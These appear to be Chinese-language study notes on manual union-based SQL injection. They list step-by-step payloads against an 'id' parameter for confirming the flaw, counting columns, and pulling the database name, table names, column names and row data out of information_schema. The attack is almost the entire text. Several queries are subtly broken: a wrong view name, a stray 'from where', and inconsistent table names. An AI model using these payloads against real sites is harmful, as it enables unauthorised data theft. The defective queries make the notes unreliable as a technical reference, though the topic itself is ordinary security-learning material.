SQL注入
#判断存在注入
1.访问id=1
2.访问id=1
‘,返回内容与1不同
3.访问id=1 and 1=1
,返回内容与1相同
4.访问id=1 and 1=2
,返回内容与1不同
=》判断存在注入
#寻找注入点
5.访问id=1 order by 1(1-99)
,直到返回内容与1不同(例:字段数为3)
6.访问id=1 union select 1,2,3
,返回内容与1相同(代码只返回第一条结果)
7.访问id=-1 union select 1,2,3
,返回union select结果(例:返回2:3,即2,3间可插入mysql语句)
###
#库表字段(需记忆)
1 | 库:information_schema |
#爆数据库名
8.访问id=-1 union select 1,database(),3
(例:返回sql)
#爆数据表名
9.访问id=-1 union select 1,(select table_name from information_schema.table where table_schema='sql' limit 0,1),3
(例:返回email,调试[limit1,1]返回referers)
#爆字段名
10.访问id=-1 union select 1,(select column_name from information_schema.columns from where table_schema='sql' and table_name='emails' limit 0,1),3
(例:返回id)
#爆数据
11.访问id=-1 union select 1,(select id from sql.email limit 0,1),3